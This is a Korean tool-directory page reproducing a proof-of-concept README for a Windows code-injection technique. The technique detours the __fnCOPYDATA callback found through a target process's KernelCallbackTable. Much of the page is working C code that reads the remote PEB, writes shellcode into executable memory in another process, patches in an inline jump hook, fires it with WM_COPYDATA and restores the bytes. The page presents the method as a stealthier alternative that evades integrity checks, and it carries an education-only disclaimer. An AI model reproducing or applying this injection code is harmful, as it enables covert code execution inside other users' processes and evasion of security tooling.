Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
win32k-callback-detouring — win32k.sys 커널 콜백 메커니즘을 악용하여 임의 코드 실행 | Kitploit
도구/GitHubGitHub/n0qword/win32k-callback-detouring
ExploitationShellcodePost-ExploitationLearning & EducationRed TeamingPayload Development
GitHubn0qword/win32k-callback-detouring

win32k-callback-detouring

win32k.sys 커널 콜백 메커니즘을 악용하여 임의 코드 실행

저장소 보기
108124개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

면책 조항

이 저장소는 교육 및 방어적 연구 목적으로만 제공됩니다.

이는 개념 증명 맥락에서 Windows 내부 콜백 디스패치 메커니즘과 KernelCallbackTable 관련 제어 흐름 개념을 시연합니다.

  • 무단 사용을 위한 것이 아닙니다
  • 운영 배포를 위해 설계되지 않았습니다
  • 스텔스/작전 보안 고려 사항이 없습니다
  • 소유하거나 테스트 권한이 있는 통제된 실험실 환경에서만 사용하십시오

저자는 오용에 대해 책임을 지지 않습니다.


Win32k 콜백 디토어링: 합법적인 커널-사용자 콜백 디스패치를 악용한 코드 실행

개요

이 주입 기법은 Windows 그래픽 하위 시스템(win32k.sys)이 사용하는 커널-사용자 콜백 디스패치 경로를 악용하여 원격 프로세스 내에서 코드 실행을 얻습니다. KernelCallbackTable대상 프로세스의Process Environment Block (PEB)`을(를) 찾음으로써, 운영자는 콜백 항목을 열거하고 GUI 관련 커널 전환 중에 호출되는 합법적인 사용자 모드 루틴을 식별할 수 있습니다.

대신 전통적인 KernelCallbackTable Injection처럼 콜백 항목을 셸코드 주소로 직접 덮어쓰는 대신, 이 변형은 테이블이 참조하는 합법적인 콜백 대상을 후킹하여 호출 시 실행을 공격자가 제어하는 셸코드로 리디렉션합니다. 실행이 기존의 예상된 콜백 경로를 통해 탈취되므로, 이 기법은 원격 스레드 생성이나 APC 기반 주입 같은 보다 전통적인 프리미티브보다 더 은밀한 대안이 될 수 있습니다.


메커니즘 이해

Windows 콜백 디스패치 흐름

Windows 그래픽 하위 시스템은 GUI 관련 처리의 일부를 커널 모드에서 시작된 콜백 메커니즘을 통해 사용자 모드로 위임합니다. **win32k.sys**가 GUI 프로세스의 컨텍스트 내에서 실행되어야 하는 로직을 필요로 할 때, **KeUserModeCallback**을 호출하여 두 실행 컨텍스트 간의 격리 경계를 유지하면서 커널 모드에서 사용자 모드로의 통제된 전환을 수행합니다.

이 전환은 커널이 그래픽 하위 시스템 콜백을 사용자 모드로 디스패치하는 합법적인 실행 경로를 형성하며, 이는 이후 제시되는 기법에 의해 악용되는 바로 그 경로입니다.


KiUserCallbackDispatcher

전환이 완료되면 실행은 **KiUserCallbackDispatcher**로 들어갑니다. 이는 커널이 제공한 콜백 인덱스를 수신하고 해당 사용자 모드 콜백 핸들러로 실행을 디스패치하는 역할을 담당하는 ntdll.dll 루틴입니다. 이 루틴은 **KeUserModeCallback**을 통해 시작된 모든 콜백의 필수 진입점 역할을 수행합니다.

모든 콜백 해석이 이 디스패처에 집중되므로, **KiUserCallbackDispatcher**는 커널 콜백 요청과 최종 사용자 모드 실행 사이의 중앙 축 역할을 합니다.


KernelCallbackTable 해석 경로

요청된 콜백의 대상을 해석하기 위해 **KiUserCallbackDispatcher**는 대상 프로세스의 PEB에 저장된 **KernelCallbackTable**을 참조합니다. 각 테이블 항목은 특정 그래픽 하위 시스템 작업과 연관된 사용자 모드 콜백 루틴에 대한 포인터를 포함하며, 일반적으로 **user32.dll**에 구현되어 있습니다.

전통적인 KernelCallbackTable Injection 기법은 실행을 리디렉션하기 위해 이러한 항목 중 하나 이상을 직접 덮어씁니다. 효과적이긴 하지만, 테이블 자체를 수정하면 PEB 또는 콜백 테이블 내용의 무결성 검증을 통해 쉽게 탐지될 수 있는 구조적 이상이 발생합니다. 제시된 기법은 테이블 구조를 보존하고 대신 항목이 참조하는 콜백 대상을 디토어링함으로써 이를 피합니다.


__fnCOPYDATA를 실행 프리미티브로 활용

사용 가능한 KernelCallbackTable 항목 중 **__fnCOPYDATA**는 특히 편리한 트리거 프리미티브를 제공합니다. SendMessage()를 통해 WM_COPYDATA 메시지를 전달하여 외부에서 호출할 수 있기 때문입니다. 이를 통해 비정상적인 프로세스 상태나 복잡한 상호작용 없이 콜백을 결정적으로 트리거할 수 있습니다.

자연스럽게 접근 가능하고 자주 사용되는 콜백 대상을 활용함으로써, 이 기법은 리디렉션 이전에 예상된 콜백 디스패치 체인 내에 완전히 머무르면서 안정적인 실행 프리미티브를 얻습니다.


kcallbackflow


작동 방식

이 기법은 대상 프로세스를 찾고 해당 PEB를 읽어 **KernelCallbackTable**의 주소를 복구하는 것에서 시작하며, 여기서 **__fnCOPYDATA**에 대한 콜백 포인터가 해석됩니다. 그런 다음 원격 프로세스 내에 실행 가능한 메모리를 할당하고, 공격자가 제어하는 셸코드를 할당된 영역에 작성합니다. 수정 전에 합법적인 콜백 루틴의 원본 바이트를 보존하여 이후 복원을 가능하게 합니다.

그런 다음 해석된 __fnCOPYDATA 루틴의 시작 부분에 인라인 후크가 설치되어 프롤로그를 주입된 셸코드로의 절대 점프로 대체합니다. 실행을 트리거하기 위해 WM_COPYDATA 메시지가 대상 창으로 전송되며, Windows 그래픽 하위 시스템은 표준 커널-사용자 콜백 체인을 통해 **__fnCOPYDATA**를 디스패치합니다. 실행이 완료되면 프로세스 안정성을 유지하고 잔여 수정 흔적을 줄이기 위해 원본 콜백 바이트가 복원됩니다.


구현

1단계: 원격 프로세스 PEB 및 KernelCallbackTable 얻기

**KernelCallbackTable**은 PEB 내 오프셋 0x58에 있습니다:

dt_peb

다음 로직을 사용하여 이를 얻습니다:

root@kitploit:~
PROCESS_BASIC_INFORMATION pbi;
PEB                       peb;
KERNELCALLBACKTABLE       kct;

if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

/* Read remote PEB */
if (NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

/* Ensure KernelCallbackTable is present */
if (!peb.KernelCallbackTable) {
    NtClose(hProcess);
    return 1;
}

/* Read KernelCallbackTable contents */
if (NtReadVirtualMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL) != STATUS_SUCCESS)
{
    NtClose(hProcess);
    return 1;
}

코드는 ProcessBasicInformation 정보 클래스를 사용하여 **NtQueryInformationProcess**를 호출하고, PROCESS_BASIC_INFORMATION 구조체를 채우는 것으로 시작합니다. 이 구조체는 PebBaseAddress 필드를 통해 원격 프로세스의 PEB 주소를 노출합니다.

다음으로 **NtReadVirtualMemory**를 사용하여 원격 PEB를 로컬 PEB 구조체로 읽어 들여 프로세스 환경에 저장된 KernelCallbackTable 포인터를 추출합니다. 콜백 테이블이 존재하는지 확인한 후, 두 번째 NtReadVirtualMemory 호출이 원격 KERNELCALLBACKTABLE 구조체를 로컬 메모리로 복사하여 이후 디토어링을 위한 __fnCOPYDATA 같은 콜백 대상을 직접 해석할 수 있게 합니다.

kct_callback


2단계: 원격 프로세스에 셸코드 할당

root@kitploit:~
 PVOID   remoteShellcodeAddr      = NULL;
    SIZE_T  shellcodeSize   = sizeof(g_CalcSh);

    if (NtAllocateVirtualMemory(hProcess, &remoteShellcodeAddr, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == STATUS_SUCCESS) {
        if (NtWriteVirtualMemory(hProcess, remoteShellcodeAddr, g_CalcSh, sizeof(g_CalcSh), NULL) == STATUS_SUCCESS) {

            printf("[+] shellcode @ 0x%p\n", remoteShellcodeAddr);

**NtAllocateVirtualMemory**는 원격 프로세스 내에 실행 가능한 메모리를 예약하고 remoteShellcodeAddr를 통해 기본 주소를 반환합니다. 할당 크기는 셸코드 버퍼 길이에서 파생됩니다.

그런 다음 **NtWriteVirtualMemory**가 셸코드를 할당된 영역에 복사하여, 콜백 디토어를 통해 나중에 실행될 페이로드를 대상 프로세스에 배치합니다.


3단계: 인라인 후크 설치 및 실행 트리거

root@kitploit:~
int InitializeHookRemote(HANDLE hProcess, PVOID pRemoteFunc, PVOID pRemoteDetour, PINLINEHOOKTABLE Hook) {

    if (!pRemoteFunc || !pRemoteDetour || !Hook || !NtProtectVirtualMemory || !NtReadVirtualMemory) return 0;

    Hook->pOriginalFunction     = pRemoteFunc;
    Hook->pFunctionDetour       = pRemoteDetour;

    if (NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL) != STATUS_SUCCESS) return 0;

    PVOID   pBaseAddress    = pRemoteFunc;
    SIZE_T  sRegionSize     = JMP_SIZE;
    if (NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection) != STATUS_SUCCESS) return 0;

    return 1;
}

**InitializeHookRemote**는 원본 함수 및 디토어 주소를 INLINEHOOKTABLE 구조체에 저장하여 원격 콜백 대상을 디토어링에 대비시킵니다. **NtReadVirtualMemory**로 대상 루틴의 처음 몇 바이트를 읽어 원본 콜백 프롤로그를 보존한 다음, **NtProtectVirtualMemory**를 사용하여 해당 영역의 보호를 **PAGE_EXECUTE_READWRITE**로 변경하여 안전하게 패치할 수 있게 합니다.

root@kitploit:~
int InstallHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
    if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory) return 0;

    BYTE    g_Jump[]   = {
        0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pRemoteDetour
        0x41, 0xFF, 0xE2                                            // jmp r10
    };

    UINT64  uPatch     = (UINT64)(Hook->pFunctionDetour);
    RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));

    if (NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL) != STATUS_SUCCESS) return 0;

    printf("[+] Hook installed in remote process @ 0x%p\n", Hook->pOriginalFunction);
    return 1;
}

**InstallHookRemote**는 실행을 주입된 셸코드로 리디렉션하는 절대 x64 점프 스텁(mov r10, <detour>; jmp r10)을 구성합니다. 그런 다음 **NtWriteVirtualMemory**를 통해 점프 스텁을 대상 콜백 루틴의 시작 부분에 덮어써 인라인 후크를 효과적으로 설치합니다.

root@kitploit:~
int RemoveHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
    if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory || !NtProtectVirtualMemory) return 0;

    ULONG   tmpProtection       = 0;
    PVOID   funcBaseAddr        = Hook->pOriginalFunction;
    SIZE_T  regionSize          = JMP_SIZE;

    NTSTATUS status = NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
    NtProtectVirtualMemory(hProcess, &funcBaseAddr, &regionSize, Hook->dwOldProtection, &tmpProtection);

    return (status == STATUS_SUCCESS);
}

**RemoveHookRemote**는 INLINEHOOKTABLE 구조체에 저장된 보존된 프롤로그 바이트를 다시 작성하여 원래 콜백 루틴을 복원합니다. 그런 다음 **NtProtectVirtualMemory**를 사용하여 패치된 영역의 원래 메모리 보호 속성을 복원함으로써 인라인 후크를 제거하고 콜백 대상을 초기 상태로 되돌립니다.

root@kitploit:~
INLINEHOOKTABLE FnCopyDataHook = { 0 };

if (InitializeHookRemote(hProcess, kct.__fnCOPYDATA, remoteShellcodeAddr, &FnCopyDataHook)) {
    if (InstallHookRemote(hProcess, &FnCopyDataHook)) {

        printf("[>] Triggering WM_COPYDATA callback...\n");

        COPYDATASTRUCT cds = {
            1,
            (DWORD)wcslen(msg) * sizeof(WCHAR),
            msg
        };

        SendMessageW(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);

        RemoveHookRemote(hProcess, &FnCopyDataHook);
    }
}

실행을 트리거하기 위해 **SendMessageW**를 통해 대상 창에 WM_COPYDATA 메시지가 전송되어, Windows 콜백 디스패처가 정상적인 커널-사용자 콜백 경로를 통해 후킹된 __fnCOPYDATA 루틴을 호출하도록 합니다. 실행이 완료된 후 **RemoveHookRemote**가 원본 콜백 바이트를 복원하여 프로세스 안정성을 유지합니다.


실행

로직이 구현되면 개념 증명을 실행하여 다음 결과를 얻을 수 있습니다:

fin_exec

도구 다운로드